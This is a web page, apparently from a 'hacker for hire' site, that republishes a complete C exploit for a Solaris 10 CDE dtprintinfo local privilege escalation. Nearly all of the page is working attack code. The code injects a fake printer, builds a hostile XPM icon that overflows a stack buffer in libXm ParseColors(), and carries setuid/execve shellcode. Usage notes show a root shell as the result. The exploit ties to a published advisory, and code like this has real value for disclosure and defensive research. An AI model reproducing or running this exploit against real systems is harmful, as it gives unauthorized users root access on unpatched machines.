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Solaris 10 dtprintinfo Local Privilege Escalation ≈ Mobile Hacker For Hire

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/*
* raptor_dtprintlibXmas.c – Solaris 10 CDE #ForeverDay LPE
* Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* “What has been will be again,
* what has been done will be done again;
* there is nothing new under the Sun.”
* — Ecclesiastes 1:9
*
* #Solaris #CDE #0day #ForeverDay #WontFix
*
* This exploit illustrates yet another way to abuse the infamous dtprintinfo
* binary distributed with the Common Desktop Environment (CDE), a veritable
* treasure trove for bug hunters since the 1990s. It’s not the most reliable
* exploit I’ve ever written, but I’m quite proud of the new vulnerabilities
* I’ve unearthed in dtprintinfo with the latest Solaris patches (CPU January
* 2021) applied. The exploit chain is structured as follows:
* 1. Inject a fake printer via the printer injection bug I found in lpstat.
* 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
* 3. Enjoy root privileges!
*
* For additional details on my bug hunting journey and on the vulnerabilities
* themselves, you can refer to the official advisory:
* https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
*
* Usage:
* $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
* $ ./raptor_dtprintlibXmas 10.0.0.109:0
* raptor_dtprintlibXmas.c – Solaris 10 CDE #ForeverDay LPE
* Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Using SI_PLATFORM : i86pc (5.10)
* Using stack base : 0x8047fff
* Using safe address : 0x8045790
* Using rwx_mem address : 0xfeffa004
* Using sc address : 0x8047fb4
* Using sprintf() address : 0xfefd1250
* Path of target binary : /usr/dt/bin/dtprintinfo
*
* On your X11 server:
* 1. Select the “fnord” printer, then click on “Selected” > “Properties”.
* 2. Click on “Find Set” and choose “/tmp/.dt/icons” from the drop-down menu.
*
* Back to your original shell:
* # id
* uid=0(root) gid=1(other)
*
* IMPORTANT NOTE.
* The buffer overflow corrupts some critical variables in memory, which we
* need to fix. In order to do so, we must patch the hostile buffer at some
* fixed locations with the first argument of the last call to ParseColors().
* The easiest way to get such a safe address is via the special 0x41414141
* command-line argument and truss, as follows:
* $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
* $ grep ParseColors OUT | tail -1
* 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
* ^^^^^^^^^ << this is the safe address we need
*
* Tested on:
* SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
* [previous Solaris versions are also likely vulnerable]
*/

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>

#define INFO1 “raptor_dtprintlibXmas.c – Solaris 10 CDE #ForeverDay LPE”
#define INFO2 “Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>”

#define VULN “/usr/dt/bin/dtprintinfo” // vulnerable program
#define DEBUG “/tmp/XXXXXXXXXXXXXXXXXX” // target for debugging
#define BUFSIZE 1106 // size of hostile buffer
#define PADDING 1 // hostile buffer padding
#define SAFE 0x08045770 // 1st arg to ParseColors()

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */
/* triple setuid() */
“\x31\xc0\x50\x50\xb0\x17\xcd\x91”
“\x31\xc0\x50\x50\xb0\x17\xcd\x91”
“\x31\xc0\x50\x50\xb0\x17\xcd\x91”
/* execve() */
“\x31\xc0\x50\x68/ksh\x68/bin”
“\x89\xe3\x50\x53\x89\xe2\x50”
“\x52\x53\xb0\x3b\x50\xcd\x91”;

/* globals */
char *arg[2] = {“foo”, NULL};
char *env[256];
int env_pos = 0, env_len = 0;

/* prototypes */
int add_env(char *string);
void check_bad(int addr, char *name);
int get_env_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);

/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], cmd[1024], *vuln = VULN;
char platform[256], release[256], display[256];
int i, sc_addr, safe_addr = SAFE;
FILE *fp;

int sb = ((int)argv[0] | 0xfff); // stack base
int ret = search_ldso(“sprintf”); // sprintf() in ld.so.1
int rwx_mem = search_rwx_mem(); // rwx memory

/* helper that prints argv[0] address, used by get_env_addr() */
if (!strcmp(argv[0], arg[0])) {
printf(“0x%p\n”, argv[0]);
exit(0);
}

/* print exploit information */
fprintf(stderr, “%s\n%s\n\n”, INFO1, INFO2);

/* process command line */
if ((argc < 2) || (argc > 3)) {
fprintf(stderr, “usage: %s xserver:display [safe_addr]\n\n”,
argv[0]);
exit(1);
}
snprintf(display, sizeof(display), “DISPLAY=%s”, argv[1]);
if (argc > 2) {
safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);
}

/* enter debug mode */
if (safe_addr == 0x41414141) {
unlink(DEBUG);
snprintf(cmd, sizeof(cmd), “cp %s %s”, VULN, DEBUG);
if (system(cmd) == -1) {
perror(“error creating debug binary”);
exit(1);
}
vuln = DEBUG;
}

/* fill envp while keeping padding */
add_env(“LPDEST=fnord”); // injected printer
add_env(“HOME=/tmp”); // home directory
add_env(“PATH=/usr/bin:/bin”); // path
sc_addr = add_env(display); // x11 display
add_env(sc); // shellcode
add_env(NULL);

/* calculate shellcode address */
sc_addr += get_env_addr(vuln, argv);

/* inject a fake printer */
unlink(“/tmp/.printers”);
unlink(“/tmp/.printers.new”);
if (!(fp = fopen(“/tmp/.printers”, “w”))) {
perror(“error injecting a fake printer”);
exit(1);
}
fprintf(fp, “fnord :\n”);
fclose(fp);
link(“/tmp/.printers”, “/tmp/.printers.new”);

/* craft the hostile buffer */
bzero(buf, sizeof(buf));
for (i = PADDING; i < BUFSIZE – 16; i += 4) {
set_val(buf, i, ret); // sprintf()
set_val(buf, i += 4, rwx_mem); // saved eip
set_val(buf, i += 4, rwx_mem); // 1st arg
set_val(buf, i += 4, sc_addr); // 2nd arg
}
memcpy(buf, “\”c c “, 5); // beginning of hostile buffer
buf[912] = ‘ ‘; // string separator
set_val(buf, 1037, safe_addr); // safe address
set_val(buf, 1065, safe_addr); // safe address
set_val(buf, 1073, 0xffffffff); // -1

/* create the hostile XPM icon files */
system(“rm -fr /tmp/.dt”);
mkdir(“/tmp/.dt”, 0755);
mkdir(“/tmp/.dt/icons”, 0755);
if (!(fp = fopen(“/tmp/.dt/icons/fnord.m.pm”, “w”))) {
perror(“error creating XPM icon files”);
exit(1);
}
fprintf(fp, “/* XPM */\nstatic char *xpm[] = {\n\”8 8 3 1\”,\n%s”, buf);
fclose(fp);
link(“/tmp/.dt/icons/fnord.m.pm”, “/tmp/.dt/icons/fnord.l.pm”);
link(“/tmp/.dt/icons/fnord.m.pm”, “/tmp/.dt/icons/fnord.t.pm”);

/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) – 1);
sysinfo(SI_RELEASE, release, sizeof(release) – 1);
fprintf(stderr, “Using SI_PLATFORM\t: %s (%s)\n”, platform, release);
fprintf(stderr, “Using stack base\t: 0x%p\n”, (void *)sb);
fprintf(stderr, “Using safe address\t: 0x%p\n”, (void *)safe_addr);
fprintf(stderr, “Using rwx_mem address\t: 0x%p\n”, (void *)rwx_mem);
fprintf(stderr, “Using sc address\t: 0x%p\n”, (void *)sc_addr);
fprintf(stderr, “Using sprintf() address\t: 0x%p\n”, (void *)ret);
fprintf(stderr, “Path of target binary\t: %s\n\n”, vuln);

/* check for badchars */
check_bad(safe_addr, “safe address”);
check_bad(rwx_mem, “rwx_mem address”);
check_bad(sc_addr, “sc address”);
check_bad(ret, “sprintf() address”);

/* run the vulnerable program */
execve(vuln, arg, env);
perror(“execve”);
exit(0);
}

/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;

/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}

/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;

/* pad envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 – ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}

return env_len;
}

/*
* check_bad(): check an address for the presence of badchars
*/
void check_bad(int addr, char *name)
{
int i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP

for (i = 0; i < sizeof(bad) / sizeof(int); i++) {
if (((addr & 0xff) == bad[i]) ||
((addr & 0xff00) == bad[i]) ||
((addr & 0xff0000) == bad[i]) ||
((addr & 0xff000000) == bad[i])) {
fprintf(stderr, “error: %s contains a badchar\n”, name);
exit(1);
}
}
}

/*
* get_env_addr(): get environment address using a helper program
*/
int get_env_addr(char *path, char **argv)
{
char prog[] = “./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
char hex[11];
int fd[2], addr;

/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = ‘\0’;
unlink(prog);
link(argv[0], prog);

/* open pipe to read program output */
if (pipe(fd) == -1) {
perror(“pipe”);
exit(1);
}

switch(fork()) {

case -1: /* cannot fork */
perror(“fork”);
exit(1);

case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror(“execve”);
exit(1);

default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}

/* check address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, “error: cannot read address from helper\n”);
exit(1);
}

return addr + strlen(arg[0]) + 1;
}

/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;

/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror(“dlopen”);
exit(1);
}

/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror(“dlinfo”);
exit(1);
}

/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, “sorry, function %s() not found\n”, sym);
exit(1);
}

/* close the executable object file */
dlclose(handle);

return addr;
}

/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;

/* open the proc filesystem */
sprintf(tmp,”/proc/%d/map”, (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, “can’t open %s\n”, tmp);
exit(1);
}

/* search for the last RWX memory segment before stack (last – 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);

/* add 4 to the exact address NUL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;

return addr_old;
}

/*
* set_val(): copy a dword inside a buffer (little endian)
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0x000000ff);
buf[pos + 1] = (val & 0x0000ff00) >> 8;
buf[pos + 2] = (val & 0x00ff0000) >> 16;
buf[pos + 3] = (val & 0xff000000) >> 24;
}

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